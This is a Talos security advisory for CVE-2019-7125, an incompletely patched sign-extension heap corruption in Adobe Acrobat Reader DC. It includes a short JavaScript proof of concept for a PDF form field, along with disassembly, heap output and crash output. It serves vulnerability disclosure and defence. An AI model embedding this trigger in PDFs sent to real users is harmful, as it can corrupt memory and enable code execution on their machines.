Talos Vulnerability Report

TALOS-2019-0774

Adobe Acrobat Reader DC text field value remote code execution vulnerability — redux

April 9, 2019
CVE Number

CVE-2019-7125

Summary

A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC 2019.8.20071. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page. The vulnerability in this advisory is the same as TALOS-2018-0704, as it wasn’t properly patched to cover all cases.

Tested Versions

Adobe Acrobat Reader DC 2019.010.20069

Product URLs

https://get.adobe.com/reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-194: Unexpected Sign Extension

Details

Adobe Acrobat Reader is the most popular PDF reader on the market currently. It has a large user base and is usually the PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface.

The vulnerability described in TALOS-2018-0704 stems from an incorrect integer size promotion that leads to heap corruption and can still be triggered by the following code:

var r = new RegExp(Array(32770).join(String.fromCharCode(24)));
app.activeDocs[0].getField('mydata')['value'] = r;

The only difference to the PoC code in TALOS-2018-0704 is that the size of the array is increased by one. As a matter of fact, any array size larger than 32769 will still trigger the vulnerability in the same way.

The code surrounding the vulnerability is slightly different, but all the necessary elements are largely the same:

imul    ecx, eax, 14h                   [1]
mov     eax, [esi+8]
add     ecx, dword ptr [ebp+var_48]     [2]
movzx   eax, word ptr [eax+edx*2]
inc     [ebp+var_1C]
mov     [ebp+var_18], ecx
mov     [ecx], eax
mov     eax, dword_213493C8

At [1], the offset into memory area is computed, each element being 0x14 in size and at [2] this offset is added to the start. If we take a look at the size of the allocation we can see:

1:011> !heap -p -a ecx
address 66af0fc0 found in
_DPH_HEAP_ROOT @ 58d1000
in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                            668523dc:         66a50fe8            a0014 -         66a50000            a2000
6e88abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
772c27ab ntdll!RtlDebugAllocateHeap+0x00000039
772258e9 ntdll!RtlpAllocateHeap+0x000000f9
772249c9 ntdll!RtlpAllocateHeapInternal+0x00000179
7722483e ntdll!RtlAllocateHeap+0x0000003e
74bc0106 ucrtbase!_malloc_base+0x00000026
6997e1d0 AcroForm!PlugInMain+0x00000864
69cab9eb AcroForm!DllUnregisterServer+0x00130269
69caccde AcroForm!DllUnregisterServer+0x0013155c
69aa6a5d AcroForm!PlugInMain+0x001290f1

In the above output, we can see that user size is now 0xa0014, which is just enough to hold 32,769 elements of size 0x14, but not more. The code still does an improper comparison when checking the size due to sign extension:

loc_20B7BAB2:
movzx   eax, word ptr [esi+0Ch]
inc     edi
movsx   edx, di                 [3]
cmp     edx, eax                [4]
mov     eax, [ebp+var_1C]
jl      loc_20B7BA18

At [3], di is sign extended into edx and then compared against eax. Since the high bit will be set, this check will pass, and this leads to the following crash:

(2354.4d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=000000d9 ebx=00000000 ecx=669b0fe8 edx=00000000 esi=62972fe0 edi=00000000
eip=69caba2c esp=00f3b648 ebp=00f3b6a4 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
AcroForm!DllUnregisterServer+0x1302aa:
69caba2c 8901            mov     dword ptr [ecx],eax  ds:002b:669b0fe8=????????
1:011> k 10
 # ChildEBP RetAddr   WARNING: Stack unwind information not available. Following frames may be wrong.
00 00f3b6a4 69caccde AcroForm!DllUnregisterServer+0x1302aa
01 00f3b6b0 69aa6a5d AcroForm!DllUnregisterServer+0x13155c
02 00000000 00000000 AcroForm!PlugInMain+0x1290f1

As in the TALOS-2018-0704 advisory, the loop continued accessing out-of-bounds memory until it hit an unallocated page. By precisely controlling the contents of the memory directly adjacent to the large chunk of memory allocated by the regular expression object, it is possible to further corrupt the heap which could possibly result in arbitrary code execution.

Timeline

2019-02-01 - Vendor Disclosure
2019-04-09 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.